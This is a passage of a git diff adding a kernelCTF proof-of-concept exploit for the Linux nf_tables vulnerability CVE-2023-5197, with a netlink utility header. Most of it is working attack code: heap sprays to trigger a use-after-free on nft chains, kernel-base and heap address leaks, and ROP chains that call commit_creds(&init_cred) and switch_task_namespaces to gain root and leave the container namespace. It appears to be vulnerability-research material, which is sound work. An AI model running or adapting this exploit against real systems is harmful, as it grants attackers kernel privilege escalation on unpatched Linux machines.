sockaddr*)&address, sizeof(address)) < 0) + printf("[-] Error at bind()"); + + if(listen(sfd, 3) < 0) + printf("[-] Error at listen()"); + + if((sock = accept(sfd, (struct sockaddr*)&address, (socklen_t*)&addrlen)) < 0) + printf("[-] Error at accept()"); + + read(sock, buffer, 4); + + sleep(3); + + close(sock); + close(sfd); + + return; +} + +char * table1_name = "table1"; + +char * chain1_name = "chain1"; +char * chain2_name = "chain2"; +// allocate chain->name to kmalloc-cg-16 +char * chain3_name = "chain3_12341234"; +// allocate chain->name to kmalloc-cg-192 +char * chain4_name = "chain4_1234123412341234123412341234123412341234123412341234123412341234123412341234123412341234123412341234123412341234123412341234"; + +uint8_t family = NFPROTO_IPV4; +uint32_t set_id = 1337; + +void make_payload2(uint64_t* data){ + int i = 0; + + // current->rcu_read_lock_nesting = 0 (Bypass rcu protected section) + data[i++] = kbase + pop_rcx_ret; + data[i++] = -0xffff; + data[i++] = kbase + mov_rax_rcx_ret; + + // find_task_by_vpid(1) + data[i++] = kbase + pop_rdi_ret; + data[i++] = 1; + data[i++] = kbase + find_task_by_vpid_off; + + // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy) + data[i++] = kbase + mov_rdi_rax_ret; + data[i++] = kbase + pop_rsi_ret; + data[i++] = kbase + init_nsproxy_off; + data[i++] = kbase + switch_task_namespaces_off; + + data[i++] = kbase + swapgs_restore_regs_and_return_to_usermode_off; + data[i++] = 0; // rax + data[i++] = 0; // rdx + data[i++] = _user_rip; // user_rip + data[i++] = _user_cs; // user_cs + data[i++] = _user_rflags; // user_rflags + data[i++] = _user_sp; // user_sp + data[i++] = _user_ss; // user_ss +} + +void make_payload(uint64_t* data){ + int i = 0; + + data[i++] = kbase + push_rbx_pop_rsp; + + // commit_creds(&init_cred) + data[i++] = kbase + pop_rdi_ret; + data[i++] = kbase + init_cred_off; + data[i++] = kbase + commit_creds_off; + + // current = find_task_by_vpid(getpid()) + data[i++] = kbase + pop_rdi_ret; + data[i++] = getpid(); + data[i++] = kbase + find_task_by_vpid_off; + + // current += offsetof(struct task_struct, rcu_read_lock_nesting) + data[i++] = kbase + pop_rsi_ret; + data[i++] = 0x474; + data[i++] = kbase + add_rax_rsi_ret; + + data[i++] = kbase + pop_rsp_ret; + data[i++] = heap_addr1+0x20; +} + +#define TABLE_SPRAY 0x80 +#define SET_SPRAY 0x10 + +void spray_set_counter_expr(int id){ + int set_ksize = 64; + char *set_name; + + asprintf(&set_name, "s_set%02hx", id); + + struct nftnl_set * set_leak = nftnl_set_alloc(); + + nftnl_set_set_str(set_leak, NFTNL_SET_TABLE, table1_name); + nftnl_set_set_str(set_leak, NFTNL_SET_NAME, set_name); + nftnl_set_set_u32(set_leak, NFTNL_SET_FLAGS, 0); + nftnl_set_set_u32(set_leak, NFTNL_SET_KEY_LEN, set_ksize); + nftnl_set_set_u32(set_leak, NFTNL_SET_KEY_TYPE, 13); + nftnl_set_set_u32(set_leak, NFTNL_SET_FAMILY, family); + nftnl_set_set_u32(set_leak, NFTNL_SET_ID, id); + + struct nftnl_expr * expr_counter = nftnl_expr_alloc("counter"); + nftnl_set_add_expr(set_leak, expr_counter); + + size_t buf_size = MNL_SOCKET_BUFFER_SIZE * 100; + char *buf = malloc(buf_size); + + struct mnl_nlmsg_batch * batch; + int seq = 0; + struct nlmsghdr * nlh; + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), + NFT_MSG_NEWSET, family, NLM_F_CREATE, seq++); + nftnl_set_nlmsg_build_payload(nlh, set_leak); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } +} + +/* +chain1 (Base) + rule_bind_chain_1_2 (rule for triggering vulnerability) + rule_dangling_3 (holds dangling pointer to chain3) + rule_dangling_4 (holds dangling pointer to chain4) +chain2 (Vulnerable) + rule_bind_chain_2_3 (rule for triggering vulnerability) + rule_bind_chain_2_4 (rule for triggering vulnerability) +chain3 (Victim for kbase leak) +chain4 (Victim for kheap and RIP control leak) +*/ + +int trig(){ + struct nftnl_table * table = nftnl_table_alloc(); + nftnl_table_set_str(table, NFTNL_TABLE_NAME, table1_name); + nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0); + + struct nftnl_chain * chain1 = nftnl_chain_alloc(); + nftnl_chain_set_str(chain1, NFTNL_CHAIN_TABLE, table1_name); + nftnl_chain_set_str(chain1, NFTNL_CHAIN_NAME, chain1_name); + nftnl_chain_set_u32(chain1, NFTNL_CHAIN_FLAGS, 0); + nftnl_chain_set_str(chain1, NFTNL_CHAIN_TYPE, "filter"); + nftnl_chain_set_u32(chain1, NFTNL_CHAIN_HOOKNUM, NF_INET_LOCAL_OUT); + nftnl_chain_set_u32(chain1, NFTNL_CHAIN_PRIO, 10); + nftnl_chain_set_u32(chain1, NFTNL_CHAIN_POLICY, NF_ACCEPT); + + struct nftnl_chain * chain2 = nftnl_chain_alloc(); + nftnl_chain_set_str(chain2, NFTNL_CHAIN_TABLE, table1_name); + nftnl_chain_set_str(chain2, NFTNL_CHAIN_NAME, chain2_name); + nftnl_chain_set_u32(chain2, NFTNL_CHAIN_FLAGS, NFT_CHAIN_BINDING); + + struct nftnl_chain * chain3 = nftnl_chain_alloc(); + nftnl_chain_set_str(chain3, NFTNL_CHAIN_TABLE, table1_name); + nftnl_chain_set_str(chain3, NFTNL_CHAIN_NAME, chain3_name); + nftnl_chain_set_u32(chain3, NFTNL_CHAIN_FLAGS, 0); + + struct nftnl_chain * chain4 = nftnl_chain_alloc(); + nftnl_chain_set_str(chain4, NFTNL_CHAIN_TABLE, table1_name); + nftnl_chain_set_str(chain4, NFTNL_CHAIN_NAME, chain4_name); + nftnl_chain_set_u32(chain4, NFTNL_CHAIN_FLAGS, 0); + + struct nftnl_rule * rule_bind_chain_1_2 = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_bind_chain_1_2, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_bind_chain_1_2, NFTNL_RULE_CHAIN, chain1_name); + nftnl_rule_set_u32(rule_bind_chain_1_2, NFTNL_RULE_FAMILY, family); + nftnl_rule_set_u32(rule_bind_chain_1_2, NFTNL_RULE_ID, 12); + + struct nftnl_expr * expr_immediate = nftnl_expr_alloc("immediate"); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO); + nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain2_name); + nftnl_rule_add_expr(rule_bind_chain_1_2, expr_immediate); + + struct nftnl_rule * rule_bind_chain_2_3 = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_bind_chain_2_3, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_bind_chain_2_3, NFTNL_RULE_CHAIN, chain2_name); + nftnl_rule_set_u32(rule_bind_chain_2_3, NFTNL_RULE_FAMILY, family); + nftnl_rule_set_u32(rule_bind_chain_2_3, NFTNL_RULE_ID, 23); + + expr_immediate = nftnl_expr_alloc("immediate"); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO); + nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain3_name); + nftnl_rule_add_expr(rule_bind_chain_2_3, expr_immediate); + + struct nftnl_rule * rule_bind_chain_2_4 = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_bind_chain_2_4, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_bind_chain_2_4, NFTNL_RULE_CHAIN, chain2_name); + nftnl_rule_set_u32(rule_bind_chain_2_4, NFTNL_RULE_FAMILY, family); + nftnl_rule_set_u32(rule_bind_chain_2_4, NFTNL_RULE_ID, 24); + + expr_immediate = nftnl_expr_alloc("immediate"); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO); + nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain4_name); + nftnl_rule_add_expr(rule_bind_chain_2_4, expr_immediate); + + struct nftnl_rule * rule_dangling_3 = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_dangling_3, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_dangling_3, NFTNL_RULE_CHAIN, chain1_name); + nftnl_rule_set_u32(rule_dangling_3, NFTNL_RULE_FAMILY, family); + + expr_immediate = nftnl_expr_alloc("immediate"); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO); + nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain3_name); + nftnl_rule_add_expr(rule_dangling_3, expr_immediate); + + struct nftnl_rule * rule_dangling_4 = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_dangling_4, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_dangling_4, NFTNL_RULE_CHAIN, chain1_name); + nftnl_rule_set_u32(rule_dangling_4, NFTNL_RULE_FAMILY, family); + + expr_immediate = nftnl_expr_alloc("immediate"); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO); + nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain4_name); + nftnl_rule_add_expr(rule_dangling_4, expr_immediate); + + size_t buf_size = MNL_SOCKET_BUFFER_SIZE * 100; + char *buf = malloc(buf_size); + int ret; + char read_data[0x1000] = {0,}; + + struct mnl_nlmsg_batch * batch; + int seq = 0; + struct nlmsghdr * nlh; + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, NLM_F_CREATE|NLM_F_ACK, seq++); + nftnl_table_nlmsg_build_payload(nlh, table); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + ret = mnl_socket_recvfrom(nl, read_data, 0x1000); + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain4); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain3); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain2); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain1); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_bind_chain_2_4); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_bind_chain_2_3); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELRULE, family, 0, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_bind_chain_2_4); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELRULE, family, 0, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_bind_chain_2_3); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_dangling_3); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_dangling_4); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_bind_chain_1_2); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELRULE, family, 0, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_bind_chain_1_2); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + // wait for destroy work (triggering the vulnerability) + usleep(100*1000); + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELCHAIN, family, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain3); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + // wait for destroy work (free Victim chain3) + usleep(100*1000); + + // leak kaslr + for(int i = 0 ; i < SET_SPRAY; i++) + spray_set_counter_expr(i); + + struct nftnl_rule *rule_get = nftnl_rule_alloc(); + nftnl_rule_set_str(rule_get, NFTNL_RULE_TABLE, table1_name); + + nlh = nftnl_rule_nlmsg_build_hdr(buf, NFT_MSG_GETRULE, family, NLM_F_DUMP | NLM_F_ACK, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_get); + nftnl_rule_free(rule_get); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + ret = mnl_socket_recvfrom(nl, read_data, 0x200); + + if (ret > 0) { + nft_counter_ops = *(unsigned long*) &read_data[0x170]; + kbase = nft_counter_ops - nft_counter_ops_off; + ret = mnl_socket_recvfrom(nl, read_data, 0x200); + } + + printf("[*] kbase %lx nft_counter_ops %lx\n", kbase, nft_counter_ops); + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELCHAIN, family, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain4); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + // wait for destroy work (free Victim chain4) + usleep(100*1000); + + char rule_data[0x400] = {0,}; + memset(rule_data, 'b', 0x400); + + struct nftnl_rule * rule_spray2 = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_spray2, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_spray2, NFTNL_RULE_CHAIN, chain1_name); + nftnl_rule_set_u32(rule_spray2, NFTNL_RULE_FAMILY, family); + nftnl_rule_set_data(rule_spray2, NFTNL_RULE_USERDATA, rule_data, 96-25); + + memset(rule_data, 'c', 0x400); + + make_payload2((uint64_t*)(rule_data+7)); + + struct nftnl_rule * rule_spray = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_spray, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_spray, NFTNL_RULE_CHAIN, chain1_name); + nftnl_rule_set_u32(rule_spray, NFTNL_RULE_FAMILY, family); + nftnl_rule_set_data(rule_spray, NFTNL_RULE_USERDATA, rule_data, 192-25); + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_spray2); + mnl_nlmsg_batch_next(batch); + + for(int i = 0; i < 10; i++){ + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_spray); + mnl_nlmsg_batch_next(batch); + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + // Leak heap + memset(read_data, 0, 0x1000); + + rule_get = nftnl_rule_alloc(); + nftnl_rule_set_str(rule_get, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_get, NFTNL_RULE_CHAIN, chain1_name); + nftnl_rule_set_u64(rule_get, NFTNL_RULE_HANDLE, 0x8); + + nlh = nftnl_rule_nlmsg_build_hdr(buf, NFT_MSG_GETRULE, family, NLM_F_ACK, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_get); + nftnl_rule_free(rule_get); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + ret = mnl_socket_recvfrom(nl, read_data, 0x200); + + if (ret > 0) { + heap_addr1 = *(unsigned long*) &read_data[0x78]; + heap_addr2 = *(unsigned long*) &read_data[0x70]; + ret = mnl_socket_recvfrom(nl, read_data, 0x200); + } + + printf("[*] heap_addr %lx %lx\n", heap_addr1, heap_addr2); + + if((heap_addr1 & 0xffff000000000000) != 0xffff000000000000){ + printf("[-] heap leak failed..\n"); + return -1; + } + + // Spray ROP payload + struct nftnl_rule * rule_del = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_del, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_del, NFTNL_RULE_CHAIN, chain1_name); + nftnl_rule_set_u64(rule_del, NFTNL_RULE_HANDLE, 0x1a); + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELRULE, family, 0, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_del); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + // wait for destroy work (free rule in kmalloc-cg-96) + usleep(100*1000); + + struct nftnl_table * tables[TABLE_SPRAY] = {0,}; + + uint64_t *data_96 = malloc(1024); + + // spray nft_table->udata to kmalloc-cg-96 + make_payload(data_96); + + for(int i = 0; i < TABLE_SPRAY; i++){ + char *table_name; + asprintf(&table_name, "st96_%02hx", i); + + struct nftnl_table * table = nftnl_table_alloc(); + nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name); + nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0); + nftnl_table_set_data(table, NFTNL_TABLE_USERDATA, data_96, 96); + + tables[i] = table; + } + + batch = mnl_nlmsg_batch_start(buf, buf_size); + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + for(int i = 0; i < TABLE_SPRAY; i++){ + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, 0, seq++); + nftnl_table_nlmsg_build_payload(nlh, tables[i]); + mnl_nlmsg_batch_next(batch); + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + uint64_t *data_64 = malloc(1024); + + // spray nft_table->udata to kmalloc-cg-64 to overwrite chain->blob0 + int o = 0; + + data_64[o++] = 0x100; + data_64[o++] = 0xffffffff61616161; + data_64[o++] = heap_addr2; + + data_64[o++] = kbase + pop_rsp_ret; + data_64[o++] = heap_addr2+8; + + for(int i = 0; i < TABLE_SPRAY; i++){ + char *table_name; + asprintf(&table_name, "st64_%02hx", i); + + struct nftnl_table * table = nftnl_table_alloc(); + nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name); + nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0); + nftnl_table_set_data(table, NFTNL_TABLE_USERDATA, data_64, 64); + + tables[i] = table; + } + + batch = mnl_nlmsg_batch_start(buf, buf_size); + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + for(int i = 0; i < TABLE_SPRAY; i++){ + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, 0, seq++); + nftnl_table_nlmsg_build_payload(nlh, tables[i]); + mnl_nlmsg_batch_next(batch); + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + // wait for unfinished work + usleep(100*1000); + + return 0; +} + +void netfilter(){ + save_state(); + + while(1){ + new_ns(); + net_if("lo", -1, IFF_UP, true); + + nl = mnl_socket_open(NETLINK_NETFILTER); + if (nl == NULL) { + err(1, "mnl_socket_open"); + } + + if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) { + perror("mnl_socket_bind"); + exit(EXIT_FAILURE); + } + + portid = mnl_socket_get_portid(nl); + + if(!trig()) break; + } + + printf("[*] RIP control\n"); + + int sfd = 0; + + /* Set up server at TRIG_PORT in a new process */ + sfd = fork(); + if(sfd == 0) { + setup_trig_server(); + exit(0); + } + + /* Trigger the network hook */ + trig_net_sock(); + + sleep(100); + + mnl_socket_close(nl); +} + +int main(int argc, char ** argv) +{ + new_ns(); + + net_if("lo", -1, IFF_UP, true); + + cpu_set_t my_set; + CPU_ZERO(&my_set); + CPU_SET(0, &my_set); + + if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { + perror("[-] sched_setaffinity()"); + exit(EXIT_FAILURE); + } + + netfilter(); + + return 0; +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/exploit/lts-6.1.47/netlink_utils.h b/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/exploit/lts-6.1.47/netlink_utils.h new file mode 100644 index 00000000..ce994bdf --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/exploit/lts-6.1.47/netlink_utils.h @@ -0,0 +1,229 @@ +/* + * Utils used to communicate with the kernel via Netlink. + * Useful for static linking. + */ + +#include +#include +#include +#include + +#define PAGE_SIZE 0x1000 +#define NL_AUTO_SEQ 0 +#define NL_AUTO_PID 0 + +void *nlmsg_tail(const struct nlmsghdr *msg) +{ + return (unsigned char *)msg + NLMSG_ALIGN(msg->nlmsg_len); +} + +void *nlmsg_data(const struct nlmsghdr *msg) +{ + return NLMSG_DATA(msg); +} + +int nlmsg_datalen(const struct nlmsghdr *msg) +{ + return msg->nlmsg_len - NLMSG_HDRLEN; +} + +struct nlmsghdr *nlmsg_alloc(void) +{ + struct nlmsghdr *msg; + + msg = calloc(1, 0x1000); + if (!msg) + return NULL; + + msg->nlmsg_len = NLMSG_ALIGN(NLMSG_LENGTH(0)); + return msg; +} + +struct nlmsghdr *nlmsg_init(int type, int flags) +{ + struct nlmsghdr *msg; + + msg = nlmsg_alloc(); + if (!msg) + return NULL; + + msg->nlmsg_type = type; + msg->nlmsg_flags = flags; + msg->nlmsg_seq = NL_AUTO_SEQ; + msg->nlmsg_pid = NL_AUTO_PID; + + return msg; +} + +void nlmsg_free(struct nlmsghdr *msg) +{ + free(msg); +} + +int nl_init_request(int type, struct nlmsghdr **msg, int flags) +{ + int sk; + struct nlmsghdr *n; + + sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sk < 0) + return -1; + + n = nlmsg_init(type, flags); + if (!n) { + close(sk); + return -1; + } + + *msg = n; + return sk; +} + +void *nlmsg_reserve(struct nlmsghdr *msg, size_t len, int pad) +{ + char *data = (char *)msg; + size_t tlen; + + tlen = NLMSG_ALIGN(len); + data += msg->nlmsg_len; + msg->nlmsg_len += tlen; + + if (tlen > len) + memset(data + len, 0, tlen - len); + + return data; +} + +int nlmsg_append(struct nlmsghdr *msg, void *data, size_t len, int pad) +{ + void *tmp; + + tmp = nlmsg_reserve(msg, len, pad); + if (tmp == NULL) + return -1; + + memcpy(tmp, data, len); + return 0; +} + +int nl_sendmsg(int sk, struct nlmsghdr *msg) +{ + struct iovec iov = {}; + struct msghdr hdr = {}; + + if (sk < 0) + return -1; + + iov.iov_base = (void *)msg; + /* + * Here add NLMSG_GOODSIZE (0xec0) to the total message length + * to be sure the msg in netlink_alloc_large_skb() is allocated using vmalloc(): + * https://elixir.bootlin.com/linux/v6.1/source/net/netlink/af_netlink.c#L1190 + * Useful to reduce noise in kmalloc-512 slabs. + */ + iov.iov_len = msg->nlmsg_len + 0xec0; + + hdr.msg_name = NULL; + hdr.msg_namelen = sizeof(struct sockaddr_nl); + hdr.msg_iov = &iov; + hdr.msg_iovlen = 1; + + return sendmsg(sk, &hdr, 0); +} + +int nl_complete_request(int sock, struct nlmsghdr *msg) +{ + int ret; + + ret = nl_sendmsg(sock, msg); + nlmsg_free(msg); + close(sock); + + return ret; +} + +void *nla_data(const struct nlattr *nla) +{ + return (char *)nla + NLA_HDRLEN; +} + +int nla_attr_size(int payload) +{ + return NLA_HDRLEN + payload; +} + +int nla_total_size(int payload) +{ + return NLA_ALIGN(nla_attr_size(payload)); +} + +int nla_padlen(int payload) +{ + return nla_total_size(payload) - nla_attr_size(payload); +} + +struct nlattr *nla_reserve(struct nlmsghdr *msg, int attrtype, int attrlen) +{ + struct nlattr *nla; + + nla = (struct nlattr *)nlmsg_tail(msg); + nla->nla_type = attrtype; + nla->nla_len = nla_attr_size(attrlen); + + memset((unsigned char *) nla + nla->nla_len, 0, nla_padlen(attrlen)); + + msg->nlmsg_len = NLMSG_ALIGN(msg->nlmsg_len) + nla_total_size(attrlen); + return nla; +} + +int nla_put(struct nlmsghdr *msg, int attrtype, int datalen, const void *data) +{ + struct nlattr *nla; + + nla = nla_reserve(msg, attrtype, datalen); + if (!nla) + return -1; + + memcpy(nla_data(nla), data, datalen); + return 0; +} + +int nla_put_u32(struct nlmsghdr *msg, int attrtype, uint32_t value) +{ + return nla_put(msg, attrtype, sizeof(uint32_t), &value); +} + +int nla_put_string(struct nlmsghdr *msg, int attrtype, const char *str) +{ + return nla_put(msg, attrtype, strlen(str) + 1, str); 